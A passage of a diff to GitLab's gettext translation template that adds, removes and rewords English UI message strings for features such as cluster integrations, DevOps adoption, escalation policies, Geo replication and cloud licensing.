@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
